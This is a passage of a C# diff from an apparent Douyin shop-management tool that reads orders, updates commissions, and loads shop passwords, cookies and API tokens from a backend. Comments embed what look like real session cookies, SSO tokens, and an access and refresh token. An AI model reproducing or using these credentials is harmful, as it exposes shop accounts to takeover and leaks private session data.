Thread.Sleep(1000); + } + } + } + } + } + catch (Exception ex) + { + + } + } + }); + } + + + private void CefJuLiangWebBrowser_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + isJuLiangLoadEnd = true; + + + + //if (overread) + //{ + // var task02 = e.Frame.GetSourceAsync(); + // task02.ContinueWith(t => + // { + // if (!t.IsFaulted) + // { + // string resultStr = t.Result; + // } + // }); + //} + } + private void JuLiangRequestHandler_ResourceLoadComplete(object sender, string url, string postData, string responseData) + { + if (url.Contains("buyin.jinritemai.com/index/logout")) + { + isJuLiangLoadEnd = false; + Task.Run(() => + { + BaseMsgForm.ShowError("未登录"); + }); + } + + if (url.Contains("https://buyin.jinritemai.com/api/promotion/getList?product_info=")) + { + Task.Run(() => + { + var _responseData = responseData; + try + { + //https://buyin.jinritemai.com/pc/selection/search/pmt?page=1&page_size=60&search_text=3504026539392123066 + //&search_id=3511826958081217668&input_query=3504026539392123066&category_ids_v2= + //&_signature=_02B4Z6wo00101iMRFHwAAIDDQBvUFolVlCojFRDAAOnLWamWwMyK.dt5Z3j12Y + //.ejwYUFgdxM.PE0qOXQPaxxlJPkGT.2iDUa4pG3unsbqtNsZU-Sq6h55OdbykTTZQweJ4iJU3POSNDjm.e3e + if (!_responseData.Contains("code")) + { + return; + } + string code = JObject.Parse(_responseData)["code"].ToString(); + if (code == "0") + { + var jArrJM = JObject.Parse(_responseData)["data"]; + if (jArrJM.Count() == 1) + { + string product_id = JObject.Parse(jArrJM[0].ToString())["product_id"].ToString(); + if (product_id == cos_ratio_order_Model.product_id) + { + int cos_ratio = Convert.ToInt32(JObject.Parse(jArrJM[0].ToString())["cos_ratio"].ToString()); + if (cos_ratio_order_Model != null) + { + cos_ratio_order_Model.commission = Math.Round((Convert.ToDouble(cos_ratio_order_Model.price) * (cos_ratio * 0.01)), 2).ToString(); + cos_ratio_order_Model.commission_scale = (cos_ratio * 0.01).ToString(); + if (cos_ratio_order_Model.order_status_buy == 1) + { + buyOrderListForm.SetOrderEditShowInDgvRows(cos_ratio_order_Model, 3); + } + else + { + sendOrderForms.SetOrderEditShowInDgvRows(cos_ratio_order_Model, 3); + } + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + cos_ratio_order_Model.order_id); + sb.Append("&commission=" + cos_ratio_order_Model.commission); + sb.Append("&commission_scale=" + cos_ratio_order_Model.commission_scale); + string urlcom = BaseClass.DouYinBuildObjString("order&act=update"); + GetHtml.PostUtf8(urlcom, UserLogin.GetSignaturex() + sb.ToString()); + } + } + } + } + } + catch (Exception ex) + { + + } + }); + } + } + + private void CefJuLiangWebBrowser_AddressChanged(object sender, AddressChangedEventArgs e) + { + + } + + + + + #endregion + + + #region 订单 + + /// + /// 是否正在读取订单 + /// + bool isOrderReading = false; + + /// + /// 读单 + /// 1 待确认/待支付(订单创建完毕) + /// 103 部分支付 + /// 105 已支付 + /// 2 备货中(待发货) + /// 101 部分发货 + /// 3 已发货(全部发货) + /// 4 已取消 + /// 5 已完成(已收货) + /// 21 发货前退款完结 + /// 22 发货后退款完结 + /// 39 收货后退款完结 + /// + /// 2 备货中 + /// + void ReadOrder(int status, string type = "") + { + try + { + if (isOrderReading) + { + if (type == "") + { + BaseMsgForm.ShowInfo("正在读单中,请等待读单完成", "提示"); + } + return; + } + isOrderReading = true; + string url = BaseClass.ApiUrl + "/do"; + var shopIds = dgvShop.Rows.Cast() + .Where(s => s.Cells["colSelect"].Value.ParseToBool() == true) + .Select(r => r.Cells["colShopId"].Value.ToString()).ToList(); + Task.Run(() => + { + try + { + foreach (DouShopLoginInfo shop in Work.CollectionClass.DouShopLoginList) + { + if (!shopIds.Contains(shop.ShopId)) + { + continue; + } + if (shop.ApiAuthStatus != "授权成功") + { + continue; + } + + int size = 100; + int totalcount = 100; + int page = 0; + + #region 获取上次读取订单截止时间作为本次读取开始时间 + url = BaseClass.DouYinBuildObjString("shop&act=get_shop_pull_time"); + string data = UserLogin.GetSignaturex() + "&shop_id=" + shop.ShopId; + string shopReadtimejson = GetHtml.PostUtf8(url, data); + if (shopReadtimejson != "" && JObject.Parse(shopReadtimejson)["code"].ToString() == "200") + { + BaseClass.readOrderTime = JObject.Parse(shopReadtimejson)["data"].ParseToInt(); + } + DateTime serverTime = BaseClass.GetServerTimeString(); + DateTime readOrderStartDateTime = BaseClass.StampToDateTime(BaseClass.readOrderTime); + if (readOrderStartDateTime < serverTime.AddDays(-14)) + readOrderStartDateTime = serverTime.AddDays(-14); + //readOrderStartDateTime = serverTime.Date.AddDays(-14); // 测试用,固定读14天 + if (readOrderStartDateTime > serverTime.Date.AddDays(-1)) + readOrderStartDateTime = serverTime.Date.AddDays(-1); // 测试用,固定读1天 + #endregion + + DateTime nextReadOrderDateTime = serverTime.AddSeconds(-400); // 下次读单的开始时间 + + downpage: + // status: + // under_sure 待确认 + // unpaid 待支付 + // 2 备货中 + // on_delivery 已发货 + // stock_up 24小时须发货 + // 1 待确认 / 待支付(订单创建完毕) + // 103 部分支付 + // 105 已支付 + // 2 备货中 + // 101 部分发货 + // 3 已发货(全部发货) + // 4 已取消 + // 5 已完成(已收货) + // 21 发货前退款完结 + // 22 发货后退款完结 + // 39 收货后退款完结 + Dictionary dic = new Dictionary() { }; + dic.Add("size", size.ToString()); + dic.Add("page", page.ToString()); + dic["create_time_start"] = BaseClass.DateTimeToTimestampSeconds(readOrderStartDateTime).ToString(); + dic.Add("create_time_end", BaseClass.DateTimeToTimestampSeconds(serverTime.Date.AddDays(1)).ToString()); + dic.Add("order_by", "create_time"); + if (status > 0) + dic.Add("combine_status", "{\"order_status\":\"" + status + "\"}"); + //dic.Add("combine_status", "{\"main_status\":2}"); + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dic; + BaseClass.ShopId = shop.ShopId; + BaseClass.ShopName = shop.ShopName; + + string html = apix.GetOrderList(); + for (int i = 0; i < 5 && html.Contains("系统繁忙,请稍后重试"); i++) + { + Thread.Sleep(1000); + html = apix.GetOrderList(); + } + + Debug.WriteLine("抖音返回数据:page:{0}|code:{1}|total:{2}", page.ToString(), JObject.Parse(html)["code"]?.ToString(), JObject.Parse(html)["data"]?["total"]?.ToString()); //总毫秒数 + + if (string.IsNullOrEmpty(html)) + { + isOrderReading = false; + return; + } + var temp = html.Replace(" ", ""); + if (!temp.Contains("\"msg\":\"success\"") && !temp.Contains("\"message\":\"success\"") && !temp.Contains("\"code\":10000")) + { + isOrderReading = false; + return; + } + + #region fei 废弃代码 + /* + for (int i = 0; i < CollectionClass.orderDataList_Temp.Count; i++) + { + DouOrderListInfo.Shop_order_listItem item = CollectionClass.orderDataList_Temp[i]; + DouYinOrderModel dymodel = CollectionClass.orderDataList.Find(x => x.main_order_id == item.order_id); + + string Name = "解密失败", Mobile = "解密失败", Address = "解密失败"; + if (dymodel != null) + { + Name = dymodel.name; + Mobile = dymodel.mobile; + Address = dymodel.address; + } + else + { + if (!BaseClass.isUseSimGetRealAddress) + { + #region 解密 + //dic = new Dictionary() { }; + //dic.Add("cipher_infos", "[{\"auth_id\":\"" + item.order_id + "\",\"cipher_text\":\"" + GetHtml.UrlEncodeUtf8(item.encrypt_post_tel) + "\"}," + + // "{\"auth_id\":\"" + item.order_id + "\",\"cipher_text\":\"" + GetHtml.UrlEncodeUtf8(item.encrypt_post_receiver) + "\"}," + + // "{\"auth_id\":\"" + item.order_id + "\",\"cipher_text\":\"" + GetHtml.UrlEncodeUtf8(item.post_addr.encrypt_detail) + "\"}" + + // "]"); + + //if (shop != null) + //{ + // apix.JsonData = dic; + // string htmljm = apix.GetOrderbatchSensitive(); + // apix.JsonData = dic; + // // string htmljm_h = apix.GetGuanFangData("order.batchDecrypt"); + + // htmljm = apix.GetOrderBatchDecrypt(); + // string code = ""; + // code = JObject.Parse(htmljm)["code"].ToString(); + // if (code == "10000") + // { + // var jArrJM = JObject.Parse(htmljm)["data"]["decrypt_infos"]; + // foreach (var itemjm in jArrJM) + // { + // string cipher_text = JObject.Parse(itemjm.ToString())["cipher_text"].ToString(); + // if (cipher_text == item.encrypt_post_receiver) + // { + // Name = JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + // } + // else if (cipher_text == item.encrypt_post_tel) + // { + // Mobile = JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + // } + // else + // { + // Address = item.post_addr.province.name + item.post_addr.city.name + item.post_addr.town.name + item.post_addr.street.name + JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + // } + // } + // } + //} + #endregion + } + } + + foreach (DouOrderListInfo.Sku_order_listItem orderDetail in item.sku_order_list) + { + string sku = ""; + foreach (DouOrderListInfo.SpecItem specdescitem in orderDetail.spec) + { + sku += specdescitem.name + ":" + specdescitem.value + ";"; + } + string urlx = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=get"; + string datax = "&pid=" + orderDetail.product_id + "&table=" + (orderDetail.product_id % 1024); + string pid = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + orderDetail.Name = Name; + orderDetail.Mobile = Mobile; + orderDetail.Address = Address; + StringBuilder sb = new StringBuilder(); + + + //if (!Mobile.Contains("解密失败") && !Mobile.Contains("$1$$")) + //{ + // sb.Append("&decrypt_status=1"); + //} + //else + //{ + // Address = Mobile = Name = orderDetail.Name = "解密失败."; + // orderDetail.Mobile = "解密失败."; + // orderDetail.Address = "解密失败."; + // sb.Append("&decrypt_status=2"); + //} + + sb.Append("&main_order_id=" + item.order_id); + sb.Append("&order_id=" + orderDetail.order_id); + //sb.Append("&product_id=" + orderDetail.product_id); + //sb.Append("&shop_id=" + item.shop_id); + //sb.Append("&shop_name=" + item.shop_name); + //sb.Append("&title=" + GetHtml.UrlEncodeUtf8(orderDetail.product_name)); + //sb.Append("&order_status=" + orderDetail.order_status); + //sb.Append("&sku=" + GetHtml.UrlEncodeUtf8(sku)); + //sb.Append("&sku_img=" + orderDetail.product_pic); + //sb.Append("&count=" + orderDetail.item_num); + //sb.Append("&price=" + orderDetail.pay_amount); + //sb.Append("&express_name="); + //sb.Append("&express_no="); + //sb.Append("&c_biz_desc=" + orderDetail.c_biz_desc); + //sb.Append("&name=" + GetHtml.UrlEncodeUtf8(Name)); + //sb.Append("&mobile=" + GetHtml.UrlEncodeUtf8(Mobile)); + //sb.Append("&address=" + GetHtml.UrlEncodeUtf8(Address)); + //sb.Append("&create_time=" + orderDetail.create_time); + //if (pid.Length > 1 && pid != "none" && !pid.Replace(" ", "").Contains("{\"code\": 400".Replace(" ",""))) + //{ + // sb.Append("&up_product_id=" + pid); + //} + //sb.Append("&order_id_buy=");//0已完成 1待拍单 + //sb.Append("&order_status_buy=1");//0已完成 1待拍单 2等待上家发货 + //sb.Append("&buy_price="); + //sb.Append("&buyer_mobile="); + //sb.Append("&remark=" + item.seller_words); + //sb.Append("&is_update_order=0");//1修改状态0不修改状态 + url = BaseClass.DouYinBuildObjString("order&act=update"); + System.Diagnostics.Stopwatch watch = new System.Diagnostics.Stopwatch(); + watch.Start(); //开始监视代码运行时间 + GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + watch.Stop(); //停止监视 + TimeSpan timespans = watch.Elapsed; //获取当前实例测量得出的总时间 + System.Diagnostics.Debug.WriteLine("发送订单到服务器数据:{0}(毫秒)", timespans.TotalMilliseconds); //总毫秒数 + } + } + */ + #endregion + + try + { + DouOrderListInfo.OrderData orderListInfo = JsonConvert.DeserializeObject(html).data; + CollectionClass.orderDataList_Temp = CollectionClass.orderDataList_Temp.Concat(orderListInfo.shop_order_list).ToList(); + + if (orderListInfo.shop_order_list.Count > 0) + { + var maxTime = BaseClass.StampToDateTime(orderListInfo.shop_order_list.Max(o => o.create_time)); + if (maxTime > nextReadOrderDateTime) + { + nextReadOrderDateTime = maxTime; + } + } + + if (orderListInfo.total > totalcount) + { + page++; + totalcount += orderListInfo.shop_order_list.Count; + goto downpage; + } + + // 读取完当前店铺更新最后读取时间以供下次读取开始 + url = BaseClass.DouYinBuildObjString("shop&act=update_shop_pull_time"); + shopReadtimejson = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + "&shop_id=" + shop.ShopId + + "&pull_time=" + BaseClass.DateTimeToTimestampSeconds(nextReadOrderDateTime)); + } + catch (Exception ex) + { + } + } + } + catch (Exception ex) + { + NaiBa.Util.Helper.LogHelper.WriteWithTime(ex.Message); + } + isOrderReading = false; + }); + } + catch (Exception ex) + { + isOrderReading = false; + } + + } + + + + #endregion + + #region 店铺 + bool readshop = false; + public List GetServerDouShop() + { + List list = new List(); + if (readshop == false) + { + this.Invoke(new Action(() => + { + dgvShop.Rows.Clear(); + Work.CollectionClass.DouShopLoginList.Clear(); + lbsqcount.Text = "0"; + lbwsqcount.Text = "0"; + splitMain.Panel1.Enabled = false; + })); + readshop = true; + int page = 0; + while (true) + { + page++; + var url = BaseClass.DouYinBuildObjString("shop&act=get_shop_list"); + var data = UserLogin.GetSignaturex() + "&page=" + page; + var html = GetHtml.PostUtf8(url, data); + while (string.IsNullOrEmpty(html)) + { + Thread.Sleep(1000); + html = GetHtml.PostUtf8(url, data); + } + if (string.IsNullOrEmpty(html) || !html.Contains("shop_name") || !html.Contains("shop_id") || !html.Contains("name") || !html.Contains("password")) + { + break; + } + + var jArr = JObject.Parse(html)["data"]["list"]; + if (jArr.Count() == 0) + break; + + foreach (JObject jObj in jArr) + { + string shopStr = jObj.ToString(); + DouShopLoginInfo shop = new DouShopLoginInfo(); + shop.DbId = BaseRegex.GetStringJson(ref shopStr, "id"); + if (shop.DbId == null) + continue; + shop.UserName = BaseRegex.GetStringJson(ref shopStr, "name"); + shop.ShopName = BaseRegex.GetStringJson(ref shopStr, "shop_name"); + shop.ApiAuthStatus = "读取中..."; + shop.LoginStatus = "读取中..."; + shop.Password = BaseRegex.GetStringJson(ref shopStr, "password"); + shop.ShopId = BaseRegex.GetStringJson(ref shopStr, "shop_id"); + + url = BaseClass.DouYinBuildObjString("shop&act=get_shop_token"); + data = UserLogin.GetSignaturex() + "&shop_id=" + shop.ShopId; + + string htmltoken = GetHtml.PostUtf8(url, data, "", 5); + for (int i = 0; i < 10 && (string.IsNullOrEmpty(htmltoken) || htmltoken.Replace(" ", "").Contains("\"code\":400")); i++) + { + Thread.Sleep(100); + htmltoken = GetHtml.PostUtf8(url, data, "", 5); + } + var jArrs = JObject.Parse(htmltoken)["data"]; + foreach (JObject jObjs in jArrs) + { + string tokens = jObjs.ToString(); + string token = BaseRegex.GetStringJson(ref tokens, "access_token"); + string app_key = BaseRegex.GetStringJson(ref tokens, "app_key"); + string expires_in = BaseRegex.GetStringJson(ref tokens, "expires_in"); + if (app_key == "7016502755254683171") + { + shop.AccessToken = token; + shop.TokenExpiresTime = Convert.ToDateTime(expires_in); + } + } + + shop.Group = BaseRegex.GetStringJson(ref shopStr, "cat_name"); + shop.BuyAccount = BaseRegex.GetStringJson(ref shopStr, "buy_user_name"); + shop.UploadAccount = BaseRegex.GetStringJson(ref shopStr, "upload_user_name"); + if (list.Any(l => l.UserName == shop.UserName) || list.Any(l => l.ShopName == shop.ShopName)) + continue; + list.Add(shop); + + this.Invoke(new Action(() => + { + ShowShopStatus(shop); + })); + } + } + + foreach (DouShopLoginInfo shop in list) + { + } + + if (list.Count > 0) + { + #region 获取服务端保存的店铺cookies + string shopNames = ""; + foreach (var shop in list) + { + shopNames += shop.ShopName + ","; + } + + var cookies = GetServerShopCookies(shopNames); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("\"code\":200")) + { + var data = JObject.Parse(cookies)["data"]; + foreach (var shop in list) + { + for (int j = 0; data != null && j < data.Count(); j++) + { + if (data[j][shop.ShopName] != null) + { + shop.Cookies = data[j][shop.ShopName].ToString().Replace("&", "&").Replace("%", "%").Replace("+", "+"); + break; + } + } + } + } + #endregion + + #region 获取服务端保存的店铺授权信息 + string shopIds = ""; + foreach (var shop in list) + { + shopIds += shop.ShopId + ","; + } + var shopTokens = GetServerShopTokens(shopIds); //{"code":200,"msg":"success","data":[{"shop_id":"9050819","app_key":"6876612657718691336","access_token":"fd818b94-b4e7-4707-8073-bebcd81d8e4c","refresh_token":"9a109ef3-2bef-4ca9-8f4e-18369a356255","add_time":"2021-07-09 10:54:56","expires_in":"2021-07-14 18:40:44"}]} + if (!string.IsNullOrEmpty(shopTokens) && shopTokens.Contains("\"code\":200")) + { + JObject jShopsObj = JObject.Parse(shopTokens); + foreach (JObject jShop in jShopsObj["data"]) + { + string shopStr = AllBase.JsonHelper.SerializeObject(jShop); + if (BaseRegex.GetStringJson(ref shopStr, "app_key") == "7016502755254683171") + { + string shop_id = BaseRegex.GetStringJson(ref shopStr, "shop_id"); + var shop = list.FirstOrDefault(s => s.ShopId == shop_id); + if (shop != null) + { + shop.AppKey = BaseRegex.GetStringJson(ref shopStr, "app_key"); + shop.AccessToken = BaseRegex.GetStringJson(ref shopStr, "access_token"); + shop.RefreshToken = BaseRegex.GetStringJson(ref shopStr, "refresh_token"); + shop.AddTime = Convert.ToDateTime(BaseRegex.GetStringJson(ref shopStr, "add_time")); + shop.ExpiresTime = Convert.ToDateTime(BaseRegex.GetStringJson(ref shopStr, "expires_in")); + } + } + } + } + #endregion + + #region 读取服务端子账号列表用于订单分配 + //------------------------------------ + string url = BaseClass.DouYinBuildObjString("shop&act=get_shop_user_sub_group"); + var param = UserLogin.GetSignaturex() + "&group_id=9"; + string subUserIdResult = GetHtml.PostUtf8(url, param); + for (int i = 0; i < 10 && !subUserIdResult.Contains("\"code\":200"); i++) + { + Thread.Sleep(200); + subUserIdResult = GetHtml.PostUtf8(url, param); + } + if (subUserIdResult != "" && JObject.Parse(subUserIdResult)["code"].ToString() == "200") + { + List dousubaccount = JsonConvert.DeserializeObject>(JObject.Parse(subUserIdResult)["data"].ToString()); + foreach (var shop in list) + { + var douSubAccountModelItem = new DouSubAccountModelItem() { DouSubAccountModel = dousubaccount.Where(d => d.shop_id == shop.ShopId).ToList() }; + BaseClass.dousubaccountDic[shop.ShopId] = douSubAccountModelItem; + } + } + #endregion + } + CollectionClass.DouShopLoginList = list; + CheckShopLogin(list); + readshop = false; + + this.Invoke(new Action(() => + { + splitMain.Panel1.Enabled = true; + })); + } + return list; + } + + public void ShowShopStatus(DouShopLoginInfo shop) + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopId); + if (row == null) + dgvShop.Rows.Add(true, shop.ShopId, shop.UserName, shop.ShopName, shop.ApiAuthStatus, shop.LoginStatus); + else + { + row.Cells["colShopAccount"].Value = shop.UserName; + row.Cells["colShopName"].Value = shop.ShopName; + row.Cells["colAuthStatus"].Value = shop.ApiAuthStatus; + row.Cells["colLoginStatus"].Value = shop.LoginStatus; + } + } + + /// + /// 获取店铺Cookies + /// + /// 店铺名称,逗号隔开 + public static string GetServerShopCookies(string shopNames) + { + var url = BaseClass.DouYinBuildObjString("shop&act=get_shop_cookie"); + var data = UserLogin.GetSignaturex() + "&shop_name=" + shopNames.Trim(','); + var result = GetHtml.PostUtf8(url, data); + return result; + } + public static string GetServerShopTokens(string shopIds) + { + var url = BaseClass.DouYinBuildObjString("shop&act=get_shop_token"); + var data = UserLogin.GetSignaturex() + "&shop_id=" + shopIds.Trim(','); + var result = GetHtml.PostUtf8(url, data); + return result; + } + + //查询授权 + public void CheckShopLogin(List shoplists, bool isShowProgress = true) + { + for (int i = 0; i < shoplists.Count; i++) + { + DouShopLoginInfo doushop = shoplists[i]; + var url = BaseClass.DouYinBuildObjString("authorization&act=order_author"); + var data = UserLogin.GetSignaturex() + "×tamp=" + DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + "&shop_id=" + doushop.ShopId; + var result = GetHtml.PostUtf8(url, data); + + var shop = Work.CollectionClass.DouShopLoginList.FirstOrDefault(v => v.ShopName == doushop.ShopName); + if (shop != null) + { + var loginResult = GetShopStatus(shop); + if (loginResult.Contains("\"code\":0")) + { + shop.LoginStatus = "登录成功"; + var shopId = BaseRegex.GetStringJson(ref loginResult, "id"); + var shopToken = BaseRegex.GetStringJson(ref loginResult, "token"); + var shopName = BaseRegex.GetStringJson(ref loginResult, "shop_name"); + var mobile = BaseRegex.GetStringJson(ref loginResult, "mobile"); + var expires_in = BaseRegex.GetStringJson(ref result, "expires_in"); + if (!string.IsNullOrEmpty(shopId)) shop.ShopId = shopId; + if (!string.IsNullOrEmpty(expires_in)) + { + shop.ExpiresTime = Convert.ToDateTime(expires_in); + } + if (!string.IsNullOrEmpty(shopToken)) shop.ShopToken = shopToken; + if (!string.IsNullOrEmpty(shopName)) shop.ShopName = shopName; + if (!string.IsNullOrEmpty(mobile)) shop.Mobile = mobile; + } + else if (loginResult.Contains("未登录")) + { + shop.LoginStatus = "未登录"; + } + else + { + shop.LoginStatus = "登录失败"; + } + + if (BaseClass.GetServerTimeString() > shop.TokenExpiresTime) + { + this.Invoke(new Action(() => + { + lbwsqcount.Text = (lbwsqcount.Text.ParseToInt() + 1).ToString(); + shop.ApiAuthStatus = "未授权"; + })); + } + else + { + Dictionary dic = new Dictionary() { }; + dic.Add("size", "1"); + dic.Add("page", "0"); + dic.Add("order_by", "create_time"); + dic.Add("create_time_start", BaseClass.DateTimeToTimestampSeconds(DateTime.Now.AddDays(-1)).ToString()); + DouyinApi api = new DouyinApi(shop); + api.JsonData = dic; + string html = api.GetOrderList(); + + if (html.Contains("\"message\":\"success\"") || html.Contains("\"code\":10000")) + { + this.Invoke(new Action(() => + { + lbsqcount.Text = (lbsqcount.Text.ParseToInt() + 1).ToString(); + shop.ApiAuthStatus = "授权成功"; + })); + } + else // "access_token已过期" + { + this.Invoke(new Action(() => + { + lbwsqcount.Text = (lbwsqcount.Text.ParseToInt() + 1).ToString(); + shop.ApiAuthStatus = "未授权"; + })); + } + } + // 获取店铺token列表 + + //if (!string.IsNullOrEmpty(shop.AccessToken) && shop.ExpiresTime > DateTime.Now) + //{ + // shop.ApiAuthStatus = "授权成功"; + //} + + if (!string.IsNullOrEmpty(loginResult)) + shop.LastRefreshDate = DateTime.Now.Date.ToString("yyyyMMdd"); + //StartUp.SaveDouShopLoginInfo(); + //AddDataGridViewRow(shop); + } + if (this.Created && isShowProgress) + { + this.Invoke(new Action(() => + { + //this.statusBar.lblTaskStatus.Text = "正在检测..."; + //this.statusBar.pgbTaskProgress.Value = (i + 1); + //this.statusBar.pgbTaskProgress.Text = (i + 1) + "/" + shopNames.Length; + })); + } + + this.Invoke(new Action(() => + { + ShowShopStatus(doushop); + })); + } + } + private string GetShopStatus(DouShopLoginInfo shop) + { + var timeStamp = AllBase.BaseClass.ConvertDateTimeInt(DateTime.Now); + var _lid = timeStamp.ToString().Substring(5) + Randomx.GetId(10) + Randomx.GetId(10) + Randomx.GetId(10) + Randomx.GetId(10); + + HttpWebResponse response = null; + string result; + try + { + string url = "https://fxg.jinritemai.com/common/index/index?_lid=" + _lid; + url = "https://fxg.jinritemai.com/common/index/index?_=" + timeStamp + "&appid=1"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Headers.Add("sec-ch-ua", @""" Not;A Brand"";v=""99"", ""Google Chrome"";v=""91"", ""Chromium"";v=""91"""); + request.Headers.Add("sec-ch-ua-mobile", @"?0"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"; + request.Accept = "*/*"; + request.Headers.Add("Sec-Fetch-Site", @"same-origin"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = "https://fxg.jinritemai.com/ffa/mshop/homepage/index"; + //request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, shop.Cookies); + //gfsitesid=MTQyNTYzMzg3MXwxNjI0ODY5MDgyMjN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gfsitesid=MTQyNTYzMzg3MXwxNjI0ODY5MDgyMjN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gfsitesid=MTQyNTYzMzg3MXwxNjI0ODY5MDgyMjN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gfsitesid=MTQyNTYzMzg3MXwxNjI0ODY5MDgyMjN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gftoken=MTQyNTYzMzg3MXwxNjI0ODY5MDgyMjN8fDAGBgYGBgY; Hm_lvt_b6520b076191ab4b36812da4c90f7a5e=1624869083; passport_csrf_token_default=63caff152adc5e1d5da5767bf68c6e13; passport_csrf_token=63caff152adc5e1d5da5767bf68c6e13; ttwid=1%7C7YnupmizSCfMVfQ9y8cSyDYdaFFZFIG3i91Gg2_c5o4%7C1624869083%7C2527885991ce10cc1d54edcb381f47d01aaaf862a2c1fb587f55e26aa41eba5b; ttcid=40a3419fe96343f794046035c0f1c6bb88; n_mh=7LrrRmeUceh3vjPZWa4C3h7B_APxodsUr7zuYy75V90; sso_uid_tt=c1960cf8de21effe142f1b380670a8a3; sso_uid_tt_ss=c1960cf8de21effe142f1b380670a8a3; toutiao_sso_user=c00794bc53d4a42eb9ab1388ca003bcb; toutiao_sso_user_ss=c00794bc53d4a42eb9ab1388ca003bcb; odin_tt=c646a97f8da607104fc7f1b424cf575d3a9360b52a860aa41d467407a14512fa049a875904a556a8ecbca4985d302a8287ae02bafeaf8235cd31d44a86c2f27f; gfpart_1.0.0.2541_75650=0; uidpasaddaehruigqreajf=0; ucas_sso_c0_ss=CkEKBTEuMC4wEIeIg9zOm-LsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DjkeaGBkjjxaKJBlCOvKLE77ansWBYbhIU4IRRs4bwygU2zJUnwUihzw_S6ko; ucas_sso_c0=CkEKBTEuMC4wEIeIg9zOm-LsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DjkeaGBkjjxaKJBlCOvKLE77ansWBYbhIU4IRRs4bwygU2zJUnwUihzw_S6ko; ucas_c0_ss=CkEKBTEuMC4wEKKIg9SJmuLsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DkkeaGBkjkxaKJBlCOvKLE77ansWBYbhIU3xVR2vJ8IbAhCwtumICcjmmBLh0; sid_guard=16f989cfdea4ddac75677dfc0ce57afd%7C1624869092%7C5184000%7CFri%2C+27-Aug-2021+08%3A31%3A32+GMT; uid_tt=6fdbf1e79a0ed585dfa8e872be181249; uid_tt_ss=6fdbf1e79a0ed585dfa8e872be181249; sid_tt=16f989cfdea4ddac75677dfc0ce57afd; sessionid=16f989cfdea4ddac75677dfc0ce57afd; sessionid_ss=16f989cfdea4ddac75677dfc0ce57afd; ucas_c0=CkEKBTEuMC4wEKKIg9SJmuLsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DkkeaGBkjkxaKJBlCOvKLE77ansWBYbhIU3xVR2vJ8IbAhCwtumICcjmmBLh0; PHPSESSID=3fe844ca974ebeea09da3231eee9646e; PHPSESSID_SS=3fe844ca974ebeea09da3231eee9646e; need_choose_shop=0; Hm_lpvt_b6520b076191ab4b36812da4c90f7a5e=1624869093; login_info=%7B%22for_im_reply%22%3A%223fe844ca974ebeea09da3231eee9646e%22%7D; tt_scid=jkzjB5E7zloxWMb2G449QYbHcDZpzOLTpPUBSBff8qryqYe.RyJXHuV0J7Zgm6nNa041; MONITOR_WEB_ID=4292110529608375 + //passport_csrf_token_default=e5523a2b927b7a05c96d78a002476760; passport_csrf_token=e5523a2b927b7a05c96d78a002476760; source=bd.pcpz.1; uidpasaddaehruigqreajf=0; need_choose_shop=0; gfpart_1.0.0.695_75006=0; SHOP_ID=9050819; PIGEON_CID=4292110529608375; gfpart_1.0.0.2509_75019=0; Hm_lvt_b6520b076191ab4b36812da4c90f7a5e=1624517875,1624518442; passport_auth_status_ss=be2c708f6b44b8a69f25bb0be517ed9e%2C3eecc7d21580d321236fc0fdc098042c; passport_auth_status=be2c708f6b44b8a69f25bb0be517ed9e%2C3eecc7d21580d321236fc0fdc098042c; n_mh=7LrrRmeUceh3vjPZWa4C3h7B_APxodsUr7zuYy75V90; gfpart_1.0.0.312_74679=1; ttwid=1%7Cn--vVhfZ3AB5VnU0qJCRI6DEqVeEtvQU9yArHD7nu7A%7C1624868199%7Ccd636d9e6f1719d9a763eee1acf81ab435e14c542490ef0a5150c7566f110764; sso_uid_tt=b577dc2d646f30ca85d073bf096eb952; sso_uid_tt_ss=b577dc2d646f30ca85d073bf096eb952; toutiao_sso_user=c1581bc437561fd5a52f850ccd927686; toutiao_sso_user_ss=c1581bc437561fd5a52f850ccd927686; odin_tt=e85b04b36cb5475fe06a487c55655d731be76d54ae26e57e080823d3a568d863c7b24a14aa1c89b488b91e2e2f5743b98bc4e9b7f726b342d8f0c5ea43744e5c; ucas_sso_c0_ss=CkEKBTEuMC4wEIiIkvirrOHsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DsiuaGBkjsvqKJBlCOvKLE77ansWBYbhIUtAA8VK2j6e3rNeErWjH8DgLTusg; ucas_sso_c0=CkEKBTEuMC4wEIiIkvirrOHsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DsiuaGBkjsvqKJBlCOvKLE77ansWBYbhIUtAA8VK2j6e3rNeErWjH8DgLTusg; 